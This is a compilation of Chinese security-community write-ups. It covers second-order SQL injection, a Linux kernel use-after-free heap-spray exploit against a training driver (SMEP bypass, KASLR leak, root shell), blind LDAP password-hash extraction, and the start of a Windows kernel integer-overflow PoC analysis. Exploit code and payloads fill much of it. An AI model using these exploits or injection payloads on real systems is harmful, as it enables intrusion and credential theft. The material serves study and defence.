这个`$_SESSION['username'] = $row['username'];`就有问题了,
`$_SESSION['username']`的值是从数据库里面的查询出来的，
这本来就是一个二次注入！！！！！！
那我们来测试一下：
注册一个用户，用户名字是
admin' or 1#
登陆之后，发现可以查询到所有的提交记录
就相当于执行如下代码
SELECT * FROM `users` WHERE username = 'admin' or 1#';
二次注入成功。
### 结果
总结一下，不是很难的技术。
就是简单的从insert到二次注入一次讨论而已。
我就是一个菜鸡，第一次混先知社区，大佬们不要喷我。
探求本源。
希望在安全的路上越走越远。 | 社区文章 |
说明：实验所需的驱动源码、bzImage、cpio文件见[我的github](https://github.com/bsauce/CTF)进行下载。本教程适合对漏洞提权有一定了解的同学阅读，具体可以看看我先知之前的文章，或者[我的简书](https://www.jianshu.com/u/a12c5b882be2)。
# 一、 堆喷函数介绍
在linux内核下进行堆喷射时，首先需要注意喷射的堆块的大小，因为只有大小相近的堆块才保存在相同的cache中。具体的cache块分布如下图：
本文的漏洞例子中uaf_obj对象的大小是84，实际申请时会分配一个96字节的堆块。本例中我们可以申请96大小的k_object对象，并在堆块上任意布置数据，但这样的话就太简单了点，实际漏洞利用中怎么会这么巧就让你控制堆上的数据呢。所以我们需要找到某些用户可调用的函数，它会在内核空间申请指定大小的chunk（本例中我们希望能分配到96字节的块），并把用户的数据拷贝过去。
### （1）sendmsg
static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
struct msghdr *msg_sys, unsigned int flags,
struct used_address *used_address,
unsigned int allowed_msghdr_flags)
{
struct compat_msghdr __user *msg_compat =
(struct compat_msghdr __user *)msg;
struct sockaddr_storage address;
struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
unsigned char ctl[sizeof(struct cmsghdr) + 20]
__aligned(sizeof(__kernel_size_t)); // 创建44字节的栈缓冲区ctl，20是ipv6_pktinfo结构的大小
unsigned char *ctl_buf = ctl; // ctl_buf指向栈缓冲区ctl
int ctl_len;
ssize_t err;
msg_sys->msg_name = &address;
if (MSG_CMSG_COMPAT & flags)
err = get_compat_msghdr(msg_sys, msg_compat, NULL, &iov);
else
err = copy_msghdr_from_user(msg_sys, msg, NULL, &iov); // 用户数据拷贝到msg_sys，只拷贝msghdr消息头部
if (err < 0)
return err;
err = -ENOBUFS;
if (msg_sys->msg_controllen > INT_MAX) //如果msg_sys小于INT_MAX，就把ctl_len赋值为用户提供的msg_controllen
goto out_freeiov;
flags |= (msg_sys->msg_flags & allowed_msghdr_flags);
ctl_len = msg_sys->msg_controllen;
if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
err =
cmsghdr_from_user_compat_to_kern(msg_sys, sock->sk, ctl,
sizeof(ctl));
if (err)
goto out_freeiov;
ctl_buf = msg_sys->msg_control;
ctl_len = msg_sys->msg_controllen;
} else if (ctl_len) {
BUILD_BUG_ON(sizeof(struct cmsghdr) !=
CMSG_ALIGN(sizeof(struct cmsghdr)));
if (ctl_len > sizeof(ctl)) { //注意用户数据的size必须大于44字节
ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);//sock_kmalloc最后会调用kmalloc 分配 ctl_len 大小的堆块
if (ctl_buf == NULL)
goto out_freeiov;
}
err = -EFAULT;
/* 注意，msg_sys->msg_control是用户可控的用户缓冲区；ctl_len是用户可控的长度。 用户数据拷贝到ctl_buf内核空间。
*/
if (copy_from_user(ctl_buf,
(void __user __force *)msg_sys->msg_control,
ctl_len))
goto out_freectl;
msg_sys->msg_control = ctl_buf;
}
msg_sys->msg_flags = flags;
...
**结论** ：只要传入size大于44，就能控制kmalloc申请的内核空间的数据。
**数据流** ：
> `msg` \---> `msg_sys` \---> `msg_sys->msg_controllen` \---> `ctl_len`
>
> `msg` \---> `msg_sys->msg_control` \---> `ctl_buf`
**利用流程** ：
//限制: BUFF_SIZE > 44
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
// 布置用户空间buff的内容
msg.msg_control = buff;
msg.msg_controllen = BUFF_SIZE;
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);
// 假设此时已经产生释放对象，但指针未清空
for(int i = 0; i < 100000; i++) {
sendmsg(sockfd, &msg, 0);
}
// 触发UAF即可
### （2）msgsnd
// /ipc/msg.c
SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz,
int, msgflg)
{
return ksys_msgsnd(msqid, msgp, msgsz, msgflg);
}
// /ipc/msg.c
long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz,
int msgflg)
{
long mtype;
if (get_user(mtype, &msgp->mtype))
return -EFAULT;
return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
}
// /ipc/msg.c
static long do_msgsnd(int msqid, long mtype, void __user *mtext,
size_t msgsz, int msgflg)
{
struct msg_queue *msq;
struct msg_msg *msg;
int err;
struct ipc_namespace *ns;
DEFINE_WAKE_Q(wake_q);
ns = current->nsproxy->ipc_ns;
if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
return -EINVAL;
if (mtype < 1)
return -EINVAL;
msg = load_msg(mtext, msgsz); // 调用load_msg
...
// /ipc/msgutil.c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;
msg = alloc_msg(len); // alloc_msg
if (msg == NULL)
return ERR_PTR(-ENOMEM);
alen = min(len, DATALEN_MSG); // DATALEN_MSG
if (copy_from_user(msg + 1, src, alen)) // copy1
goto out_err;
for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen)) // copy2
goto out_err;
}
err = security_msg_msg_alloc(msg);
if (err)
goto out_err;
return msg;
out_err:
free_msg(msg);
return ERR_PTR(err);
}
// /ipc/msgutil.c
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT); // 先分配了一个msg_msg结构大小
...
`msgsnd()`\--->`ksys_msgsnd()`\--->`do_msgsnd()`。
do_msgsnd()根据用户传递的buffer和size参数调用load_msg(mtext,
msgsz)，load_msg()先调用alloc_msg(msgsz)创建一个msg_msg结构体（），然后拷贝用户空间的buffer紧跟msg_msg结构体的后面，相当于给buffer添加了一个头部，因为msg_msg结构体大小等于0x30，因此用户态的buffer大小等于`xx-0x30`。
**结论** ：前0x30字节不可控。数据量越大（本文示例是96字节），发生阻塞可能性越大，120次发送足矣。
**利用流程** ：
// 只能控制0x30字节以后的内容
struct {
long mtype;
char mtext[BUFF_SIZE];
}msg;
memset(msg.mtext, 0x42, BUFF_SIZE-1); // 布置用户空间的内容
msg.mtext[BUFF_SIZE] = 0;
int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
msg.mtype = 1; //必须 > 0
// 假设此时已经产生释放对象，但指针未清空
for(int i = 0; i < 120; i++)
msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
// 触发UAF即可
# 二、 漏洞分析
### （1）代码分析
我们以[漏洞驱动-vuln_driver](https://github.com/invictus-0x90/vulnerable_linux_driver)来进行实践。vuln_driver驱动包含漏洞有任意地址读写、空指针引用、未初始化栈变量、UAF漏洞、缓冲区溢出。本文主要分析UAF漏洞及其利用。
// vuln_driver.c: do_ioctl()驱动号分配函数
static long do_ioctl(struct file *filp, unsigned int cmd, unsigned long args)
{
int ret;
unsigned long *p_arg = (unsigned long *)args;
ret = 0;
switch(cmd) {
case DRIVER_TEST:
printk(KERN_WARNING "[x] Talking to device [x]\n");
break;
case ALLOC_UAF_OBJ:
alloc_uaf_obj(args);
break;
case USE_UAF_OBJ:
use_uaf_obj();
break;
case ALLOC_K_OBJ:
alloc_k_obj((k_object *) args);
break;
case FREE_UAF_OBJ:
free_uaf_obj();
break;
}
return ret;
}
//uaf对象的结构，包含一个函数指针fn，size=84
typedef struct uaf_obj
{
char uaf_first_buff[56];
long arg;
void (*fn)(long);
char uaf_second_buff[12];
}uaf_obj;
//k_object对象用于测试
typedef struct k_object
{
char kobj_buff[96];
}k_object;
主要代码如下，漏洞就是在释放堆时，未将存放堆地址的全局变量清零。
// 1. uaf_callback() 一个简单的回调函数
uaf_obj *global_uaf_obj = NULL;
static void uaf_callback(long num)
{
printk(KERN_WARNING "[-] Hit callback [-]\n");
}
// 2. 分配一个uaf对象，fn指向回调函数uaf_callback，第一个缓冲区uaf_first_buff填充"A"。 global_uaf_obj全局变量指向该对象
static int alloc_uaf_obj(long __user arg)
{
struct uaf_obj *target;
target = kmalloc(sizeof(uaf_obj), GFP_KERNEL);
if(!target) {
printk(KERN_WARNING "[-] Error no memory [-]\n");
return -ENOMEM;
}
target->arg = arg;
target->fn = uaf_callback;
memset(target->uaf_first_buff, 0x41, sizeof(target->uaf_first_buff));
global_uaf_obj = target;
printk(KERN_WARNING "[x] Allocated uaf object [x]\n");
return 0;
}
// 3. 释放uaf对象，但未清空global_uaf_obj指针
static void free_uaf_obj(void)
{
kfree(global_uaf_obj);
//global_uaf_obj = NULL
printk(KERN_WARNING "[x] uaf object freed [x]");
}
// 4. 使用uaf对象，调用成员fn指向的函数
static void use_uaf_obj(void)
{
if(global_uaf_obj->fn)
{
//debug info
printk(KERN_WARNING "[x] Calling 0x%p(%lu)[x]\n", global_uaf_obj->fn, global_uaf_obj->arg);
global_uaf_obj->fn(global_uaf_obj->arg);
}
}
// 5. 分配k_object对象，并从用户地址user_kobj拷贝数据到分配的地址
static int alloc_k_obj(k_object *user_kobj)
{
k_object *trash_object = kmalloc(sizeof(k_object), GFP_KERNEL);
int ret;
if(!trash_object) {
printk(KERN_WARNING "[x] Error allocating k_object memory [-]\n");
return -ENOMEM;
}
ret = copy_from_user(trash_object, user_kobj, sizeof(k_object));
printk(KERN_WARNING "[x] Allocated k_object [x]\n");
return 0;
}
### （2）利用思路
思路：如果uaf_obj被释放，但指向它的global_uaf_obj变量未清零，若另一个对象分配到相同的cache，并且能够控制该cache上的内容，我们就能控制fn()调用的函数。
测试：本例中我们可以利用k_object对象来布置堆数据，将uaf_obj对象的fn指针覆盖为0x4242424242424242。
//完整代码见easy_uaf.c
void use_after_free_kobj(int fd)
{
k_object *obj = malloc(sizeof(k_object));
//60 bytes overwrites the last 4 bytes of the address
memset(obj->buff, 0x42, 60);
ioctl(fd, ALLOC_UAF_OBJ, NULL);
ioctl(fd, FREE_UAF_OBJ, NULL);
ioctl(fd, ALLOC_K_OBJ, obj);
ioctl(fd, USE_UAF_OBJ, NULL);
}
报错结果如下：
# 三、 漏洞利用
### （1）绕过SMEP
##### 1\. 绕过SMEP防护方法
CR4寄存器的第20位为1，则表示开启了SMEP，若执行到用户指令，就会报错`"BUG: unable to handle kernel paging
request at
0xxxxxx"`。绕过SMEP的方法见我的笔记<https://www.jianshu.com/p/6f1d2f3f5126。不过最简单的方法是通过`native_write_cr4()`函数：>
// /arch/x86/include/asm/special_insns.h
static inline void native_write_cr4(unsigned long val)
{
asm volatile("mov %0,%%cr4": : "r" (val), "m" (__force_order));
}
本文用到的vuln_driver简化了利用过程，否则我们还需要控制第1个参数，所以利用目标就是：`global_uaf_obj->fn(global_uaf_obj->arg)`
\---> `native_write_cr4(global...->arg)`。 也即执行`native_write_cr4(0x407f0)`即可。
##### 2\. 堆喷函数
**sendmsg注意** ：分配堆块必须大于44。
//用sendmsg构造堆喷，一个通用接口搞定，只需传入待执行的目标地址+参数
void use_after_free_sendmsg(int fd, size_t target, size_t arg)
{
char buff[BUFF_SIZE];
struct msghdr msg={0};
struct sockaddr_in addr={0};
int sockfd = socket(AF_INET,SOCK_DGRAM,0);
// 布置堆喷数据
memset(buff,0x43,sizeof buff);
memcpy(buff+56,&arg,sizeof(long));
memcpy(buff+56+(sizeof(long)),&target,sizeof(long));
addr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
addr.sin_family=AF_INET;
addr.sin_port=htons(6666);
// buff是堆喷射的数据，BUFF_SIZE是最后要调用KMALLOC申请的大小
msg.msg_control=buff;
msg.msg_controllen=BUFF_SIZE;
msg.msg_name=(caddr_t)&addr;
msg.msg_namelen= sizeof(addr);
// 构造UAF对象
ioctl(fd,ALLOC_UAF_OBJ,NULL);
ioctl(fd,FREE_UAF_OBJ,NULL);
//开始堆喷
for (int i=0;i<10000;i++){
sendmsg(sockfd,&msg,0);
}
//触发
ioctl(fd,USE_UAF_OBJ,NULL);
}
//用msgsnd构造堆喷
int use_after_free_msgsnd(int fd, size_t target, size_t arg)
{
int new_len=BUFF_SIZE-48;
struct {
size_t mtype;
char mtext[new_len];
} msg;
//布置堆喷数据，必须减去头部48字节
memset(msg.mtext,0x42,new_len-1);
memcpy(msg.mtext+56-48,&arg,sizeof(long));
memcpy(msg.mtext+56-48+(sizeof(long)),&target,sizeof(long));
msg.mtext[new_len]=0;
msg.mtype=1; //mtype必须 大于0
// 创建消息队列
int msqid=msgget(IPC_PRIVATE,0644 | IPC_CREAT);
// 构造UAF对象
ioctl(fd, ALLOC_UAF_OBJ,NULL);
ioctl(fd,FREE_UAF_OBJ,NULL);
//开始堆喷
for (int i=0;i<120;i++)
msgsnd(msqid,&msg,sizeof(msg.mtext),0);
//触发
ioctl(fd,USE_UAF_OBJ,NULL);
}
**msgsnd注意** ：msgsnd堆喷必须减去头部长度48，前48字节不可控。
##### 3\. 绕过SMEP测试
完整代码见`test_smep.c`。
注意：暂时先关闭ASLR，单核启动，修改`start.sh`脚本即可。
int main()
{
size_t native_write_cr4_addr=0xffffffff81065a30;
size_t fake_cr4=0x407e0;
void *addr=mmap((void *)MMAP_ADDR,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_SHARED|MAP_ANON,0,0);
void **fn=MMAP_ADDR;
// 拷贝stub代码到 MMAP_ADDR
memcpy(fn,stub,128);
int fd=open(PATH,O_RDWR);
//用于标识dmesg中字符串的开始
ioctl(fd,DRIVER_TEST,NULL);
/*
use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4);
use_after_free_sendmsg(fd,MMAP_ADDR,0);
*/
use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4);
use_after_free_msgsnd(fd,MMAP_ADDR,0);
return 0;
}
修改cr4之前，执行用户代码会报错：
修改cr4之后，能够执行到用户代码：
### （2）绕过KASLR
##### 1\. 方法
**注意** ：`start.sh`中开启ASLR。
**目标**
：泄露kernel地址，获取`native_write_cr4`、`prepare_kernel_cred`、`commit_creds`函数地址。
**说明** ：一般都会开启`kptr_restrict`保护，不能读取`/proc/kallsyms`，但是通常可以`dmesg`读取内核打印的信息。
**方法** ：由dmesg可以想到，构造pagefault，利用内核打印信息来泄露kernel地址。
如上图所示，可以利用`SyS_ioctl+0x79/0x90`来泄露kernel地址，接下来只需寻找目标函数地址的相对偏移即可。
# [<ffffffff8122bc59>] SyS_ioctl+0x79/0x90
/ # cat /proc/kallsyms | grep native_write_cr4
ffffffff81065a30 t native_write_cr4
/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff810a6ca0 T prepare_kernel_cred
/ # cat /proc/kallsyms | grep commit_creds
ffffffff810a68b0 T commit_creds
##### 2\. 步骤
* 在子线程中触发page_fault，从dmesg读取打印信息
* 找到`SyS_ioctl+0x79`地址，计算kernel_base
* 计算3个目标函数地址
### （3）整合exp
##### 1\. 单核运行
//让程序只在单核上运行，以免只关闭了1个核的smep，却在另1个核上跑shell
void force_single_core()
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(0,&mask);
if (sched_setaffinity(0,sizeof(mask),&mask))
printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault \n");
return;
}
##### 2\. 泄露kernel基址
// 构造 page_fault 泄露kernel地址。从dmesg读取后写到/tmp/infoleak，再读出来
pid_t pid=fork();
if (pid==0){
do_page_fault();
exit(0);
}
int status;
wait(&status); // 等子进程结束
//sleep(10);
printf("[+] Begin to leak address by dmesg![+]\n");
size_t kernel_base = get_info_leak()-sys_ioctl_offset;
printf("[+] Kernel base addr : %p [+] \n", kernel_base);
native_write_cr4_addr+=kernel_base;
prepare_kernel_cred_addr+=kernel_base;
commit_creds_addr+=kernel_base;
##### 3\. 关闭smep,并提权
//关闭smep,并提权
use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4);
use_after_free_sendmsg(fd,get_root,0); //MMAP_ADDR
//use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4);
//use_after_free_msgsnd(fd,get_root,0); //MMAP_ADDR
if (getuid()==0)
{
printf("[+] Congratulations! You get root shell !!! [+]\n");
system("/bin/sh");
}
### （4）问题
原文的exploit有问题，是将get_root()代码用mmap映射到0x100000000000，然后跳转过去执行，但是直接把代码拷贝过去会有地址引用错误。
#执行0x100000000000处的内容时产生pagefault，可能是访问0x1000002ce8fd地址出错
gdb-peda$ x /10i $pc
=> 0x100000000000: push rbp
0x100000000001: mov rbp,rsp
0x100000000004: push rbx
0x100000000005: sub rsp,0x8
0x100000000009:
mov rbx,QWORD PTR [rip+0x2ce8ed] # 0x1000002ce8fd
0x100000000010:
mov rax,QWORD PTR [rip+0x2ce8ee] # 0x1000002ce905
0x100000000017: mov edi,0x0
0x10000000001c: call rax
0x10000000001e: mov rdi,rax
0x100000000021: call rbx
#报错信息如下：
[ 10.421887] BUG: unable to handle kernel paging request at 00001000002ce8fd
[ 10.424836] IP: [<0000100000000009>] 0x100000000009
解决：不需要将`get_root()`代码拷贝到0x100000000000，直接执行`get_root()`即可。
最后成功提权：
exp代码见`exp_heap_spray.c`。
### 参考：
<https://invictus-security.blog/2017/06/15/linux-kernel-heap-spraying-uaf/>
[http://edvison.cn/2018/07/25/%E5%A0%86%E5%96%B7%E5%B0%84/](http://edvison.cn/2018/07/25/堆喷射/)
<https://github.com/invictus-0x90/vulnerable_linux_driver>
<https://turingsec.github.io/CVE-2016-0728/> | 社区文章 |
# 前言
在最近的一次的src测试中遇到了ldap注入漏洞,目标是一个管理平台的单点登陆入口,漏洞存在于用户名存在判断处.
之前渗透测试的时候我也遇到过几个生产环境中ldap注入的漏洞,但是都只能获取到有限的敏感信息(用户名 手机号 邮箱) 危害程度与ldap匿名绑定相同.
在研究ldap查询语法时,我找到了一种可以外带ldap储存的用户密码的方法,实现了对ldap注入的进一步利用.
# 什么是ldap注入
ldap注入是指ldap过滤器语句(filter)的注入
ldap过滤器的基本语法如下
=
>=
<=
| 或
& 与
! 非
* 通配符
(语句)
例如一个简单的查询语句如下
(cn=admin)
搜索cn值属性为admin的条目 成功会返回完整条目属性
实际使用时可能会比较复杂
比如说同时搜索匹配用户输入的用户名/邮箱/手机号
(|(cn=admin)(mail=admin)(mobile=admin))
ldap条目常见的属性值
cn (Common Name 通用名称) 常被用做用户名
Surname 姓
mobile 手机号
mail 邮箱
在实战中,判断注入点可以尝试插入半个括号
过滤器中如果存在未闭合的括号会使ldap查询出错 观察返回是否出现异常 即可判断注入点
也可以直接输入*(星号) 通配符观察返回是否为用户存在但密码错误,或者是服务器错误.(ldap查询可以同时返回多条结果 如果查询结果不唯一
后端未做好处理可能会报错)
ldap注入常见于在判断用户名是否存在的点 很少出现在用户名密码同时判断的地方.
经过使用括号盲测发现目标可能的登陆逻辑如下.
$ds=ldap_connect($ldapSrv,$port);//建立ldap连接
if($ds) {
$r=ldap_bind($ds, "cn=".$username.",".$dn, $passwd);/绑定ldap区域(相当于登陆ldap服务器) 使用域管用户登陆 检索用户列表
if($r) {
$sr=ldap_search($ds, $dn, "(user=".$_GET["user"].")");//在ldap中使用过滤器搜索用户名
$info = ldap_get_entries($ds, $sr);
if($info["count"]==0){
die('用户不存在');
}
ldap_close($ds);
$ds=ldap_connect($ldapSrv,$port);//建立ldap连接
$bd = ldap_bind($conn, $_GET["user"], $passwd); // 绑定ldap区域(相当于登陆ldap服务器) 以普通用户登陆 判断是否登陆成功
if ($bd) {
echo '登陆成功';
} else {
echo '密码错误';
}
ldap_close($ds);
} else {
echo "Unable to connect to LDAP server.";
}
}
# ldap的注入简单利用
ldap注入通常需要构造通配符查询来实现布尔注入,从而带出ldap中储存的数据.
比如ldap中存在一个admin的用户名 查询的注入点为cn(用户名)
那么可以使用*匹配先猜测出用户名
(cn=a*) 返回密码错误
(cn=b*) 返回用户名不存在
只要判断为密码错误即为匹配成功
构造脚本递归匹配字符
(cn=a*)
(cn=ad*)
(cn=adm*)
(cn=admi*)
(cn=admin*)
当然*也可以插在开头和中间或者是单独使用
(cn=a*n)
(cn=*n)
(cn=*)
构造语句猜测admin用户的手机号
(cn=admin)(mobile=13*)
到这里已经可以跑出ldap中保存的一些敏感信息(手机号 邮箱 用户名).
那么对ldap注入的利用只能到这了吗?
# 获取ldap中的密码
作为用于用户认证鉴权场景的ldap服务,当然是要拿到ldap中储存的用户的密码
查阅ldap文档 ldap的密码储存在userPassword属性
尝试构造查询
(cn=admin)(userPassword=a*)
多次尝试发现都无法匹配记录.
但是直接使用*可以匹配成功
为什么使用*号不能匹配部分密码呢?
经过查阅ldap [rfc4519](https://datatracker.ietf.org/doc/html/rfc4519)文档
发现userPassword属性类型不是常规的字符串,而是(Octet String 字节序列)
*通配符只能用于匹配字符串
那如何达到匹配字节序列目的呢
通过阅读[ldapwiki](https://ldapwiki.com/wiki/MatchingRule)发现过滤器除了可以使用常规的运算符外,还有一种特殊的匹配规则(MatchingRule)
其中有两个专门用于匹配Octet String的规则
octetStringMatch
octetStringOrderingMatch
第一个规则在完全匹配时才会返回真,这显然不能利用.
另一个wiki上面没有详细介绍 最后在
[rfc4517](https://datatracker.ietf.org/doc/html/rfc4517#section-4.2.28)
找到了octetStringOrderingMatch规则的详细介绍
The rule evaluates to TRUE if and only if the attribute value appears
earlier in the collation order than the assertion value. The rule
compares octet strings from the first octet to the last octet, and
from the most significant bit to the least significant bit within the
octet. The first occurrence of a different bit determines the
ordering of the strings. A zero bit precedes a one bit. If the
strings contain different numbers of octets but the longer string is
identical to the shorter string up to the length of the shorter
string, then the shorter string precedes the longer string.
逐字节比较两字节之间的大小 后者大于前者就返回真 显然这个规则可以用于注入
这里在查询时使用十六进制转义\xx来匹配单个字节 (ldap过滤器的语法之一)
.... .... 用户名错误
(cn=admin)(userPassword:2.5.13.18:=\7b) 用户名错误
(cn=admin)(userPassword:2.5.13.18:=\7c) 密码错误 第一个字节为7b 继续尝试
.... .... 用户名错误
(cn=admin)(userPassword:2.5.13.18:=\7b\4d) 用户名错误
(cn=admin)(userPassword:2.5.13.18:=\7b\4e) 密码错误 第二个字节为4d 继续尝试
.... ....
注意要将匹配到的每个字节-1再进行下一个匹配
最后直接转为字符串得到密码
最后成功跑出了目标ldap储存的用户密码
# ldap密码
新版本ldap的密码很少有明文储存 基本上都是哈希后的密码
哈希格式为 {哈希类型}base64后的值
ldap有四种常见哈希
{SHA}(SHA1)
(SSHA) 加盐 SHA1
{MD5} MD5
{SMD5} 加盐MD5
带盐的hsah储存格式为 加盐hash值+盐值
将base64解码出的hash部分转换为十六进制字符串就可以使用hashcat进行常规的hash猜测了
# 修复方法
转义可能会改变ldap过滤器语法的字符
[LDAP注入与防御剖析](https://tttang.com/archive/1179/)
function ldapspecialchars($string) {
$sanitized=array('\\' => '\5c',
'*' => '\2a',
'(' => '\28',
')' => '\29',
"\x00" => '\00');
return str_replace(array_keys($sanitized),array_values($sanitized),$string);
}
# 参考
[LDAP注入与防御剖析](https://tttang.com/archive/1179/)
[rfc4519](https://datatracker.ietf.org/doc/html/rfc4519)
[rfc4517](https://datatracker.ietf.org/doc/html/rfc4517#section-4.2.28)
[MatchingRule(ldapwiki)](https://ldapwiki.com/wiki/MatchingRule) | 社区文章 |
## 前言
DDCTF的学习在我[github](https://github.com/redogwu)上面更新完了那个库, 由于我之前做过`整数溢出`的学习,
加上做第二题的时候已经知道这是一个`整数溢出`的漏洞, and windows7的保护措施少的可怜, 所以我当时和师父说, 我觉得蛮简单的样子,
然后师父说, 是么, 那么把你看过的东西全忘了再做一遍. 于是... 对不起, 打扰了.
这篇文章的过程我会把自己的分析思路给贴出来. 离写出利用到写这篇博客已经过了很久了, 在这个过程当中对内核学习也有了新的看法. 现在的我觉得,
分析是最难的部分. 所以这篇文章会冗长一点. 希望您不要介意.
这篇文章主要分为一下几个部分
[+] poc分析 --> 定位漏洞点
[+] 内核代码分析 --> 定位可以利用的数据
[+] fengshui: 构造可利用的数据
[+] run shellcode: 进行提权
Let's Go
## POC 分析
### 环境准备
下载的文件打开截图如下:
查阅资料得知`UUENCODE`加密, 改后缀名为`uu`, 之后采用`winrar`解压即可.
### 逆向POC文件
说是逆向. 其实就是一个F5的过程. 如下:
于是我整理了一下源码(循环不方便调试, 所以我把循环去掉了. 之后发现还是可行的):
#include <Windows.h>
#include <iostream>
/*
* triggerVul:
* [+] 触发此漏洞
*/
VOID triggerTheVul()
{
HDC hDc; // edi@1
HDC hdcCall; // esi@1
HICON hIcon; // ebx@1
HBITMAP hBitMap; // eax@1
HBRUSH i; // esi@1
hDc = GetWindowDC(0);
hdcCall = CreateCompatibleDC(hDc);
hIcon = LoadIconW(0, (LPCWSTR)0x7F02);
hBitMap = CreateDiscardableBitmap(hdcCall, 0xDEAD000, 0x1); // 这个地方分配的大小得改为0x18
i = CreatePatternBrush(hBitMap);
__debugbreak();
DrawIconEx(hDc, 0, 0x11223344, hIcon, 0x5566, 0x7788, 0x12345678u, i, 8u);
}
int main()
{
std::cout << "[+] Trigger The vul!!!" << std::endl;
triggerTheVul();
return 0;
}
需要注意的是, 我在源码当中加了一句`__debugbreak()`. 相当于一个断点. 程序运行到此的时候会停下来,
这个语句十分方便内核的exp`编写调试`.
编译运行程序的验证过程如下:
### 记录关键信息
采用`!analyze -v`指令.
#### 崩溃指令
需要注意的是, 由于我们是拥有`vmware`的, 所以可以有效的利用`虚拟机镜像`绕过`KASLR`, 也就是这些指令的地址是固定的.
这样的话我们可以记录一下关键的信息方便调试.
[+] 有用的调试断点记录(一开始记录的地址多谢, 这两个是我后面写博客的用到的):
[+] 9803d6aa -- 赋值操作起始的地方
[+] 9803d730 -- 漏洞相关的pool分配的地方
[+] 980651e0 -- 漏洞崩溃处
[+] 留意:
[+] eax的值
==> 为F820 0000, 值很大(请留意这个结论)
==> ???? 代表不可访问
==> 向不能访问的地方进行了写操作
[+] 发生在vSrcCopyS1D32当中
##### 崩溃原因
[+] 查阅windows的文档:
[+] 留意:
[+] 崩溃的原因是由于对非法的内存进行了写操作
#### 崩溃堆栈
[+] 堆栈信息的每一项的格式如下
ebp 函数返回地址 第一个参数 第二个参数 ...
[+] 由上面的思路我们可以记录如下信息
98065145 win32k!vSrcCopyS1D32+0xa5
9b20f840 win32k!EngCopyBits+0x604
9b20f900 win32k!EngRealizeBrush+0x462
9b20f998 win32k!bGetRealizedBrush+0x70c
9b20f9b0 win32k!pvGetEngRbrush+0x1f
9b20fa14 win32k!EngBitBlt+0x2bf
9b20fa78 win32k!GrePatBltLockedDC+0x22b
9b20fb24 win32k!GrePolyPatBltInternal+0x176
9b20fb60 win32k!GrePolyPatBlt+0x45
9b20fba8 win32k!_DrawIconEx+0x153
9b20fc00 win32k!NtUserDrawIconEx+0xcb
9b20fc00 nt!KiFastCallEntry+0x12a
001af930 ntdll!KiFastSystemCallRet
001af934 USER32!NtUserDrawIconEx+0xc
001af990 USER32!DrawIconEx+0x260
### 推测漏洞类型
### 分析
首先, 在IDA当中获取崩溃指令的位置:
c代码对应如下:
这里我要吹一个叫做`source insight`的阅读源码的工具. 极大的方便了我阅读源码的过程. 此处在windows NT4对应的源码如下:
是不是感觉有点慌, 什么都看不懂了, 这些变量名又是干啥的呢. 没关系的, 我们来整合一下资源.
[+] 变量名猜测这应该是做类似于由jSrc(源)向pulDst(目的地址)的赋值操作.
[+] 由源码可以推出v17类似于pjSrc的长度
[+] 复杂的部分可以通过调试器来验证它.
### 调试器部分的分析
首先, 采用IDA逆向一下关键函数`vSrcCopyS1D32`:
可以得到参数只有一个, 且是一个指针. 接着我们在`vSrcCopyS1D32`函数起始的地方设下断点. 运行到此, 打印出指针的值以及其对应的结构体内容.
运行到崩溃指令处.
我们看下`windows nt`源码里面的各项定义:
可以看到`eax`的值是和`pjDst`联系起来的. 有前面的源码我们推测出`v17`类似于字符串长度. 不如来验证他.
使用`IDA`找到v17对应的汇编指令.
在windbg当中运行到此打印出其值:
由于不小心失误多操作了一次, 所以我们的值多减了一次一, 在后面我把它加回来了. `1bd5a000`就是我们推测的长度.
对应`BLTINFO`结构体成员变量`lDeltaSrc`, 在其中我发现了一句有趣的注释:
所以验证了我的长度推测. 只是它复制的不是字符串. 而是其他的东西.
如果有点绕的话让我们来总结一下目前获得的信息:
[+] pulDst指向目标地址
[+] jSrc指向了目标字符串.
[+] 由jSrc向pulDst运送v17长度的东西A
接下来开始我们的推测之旅.
#### 第一步
如果是我们自己写字符串操作的话. 大概如下:
int len = 20;
char * Dst = memset(len);
for(int i = 0; i < 20; i++) // 注意这里
Dst[i] = Src[i];
什么时候会崩溃呢. 比如:
int len = 20
char * Dst = memset(len);
for(int i = 0; i < 20+0x1000; i++) // 注意这里
Dst[i] = Src[i];
由前面的分析我们知道了他是一个写操作. 所以应该是目的`字符串`(代指)与其`长度`不匹配照成的. 为什么会不匹配. 由于这个地址的字符串长度比较大,
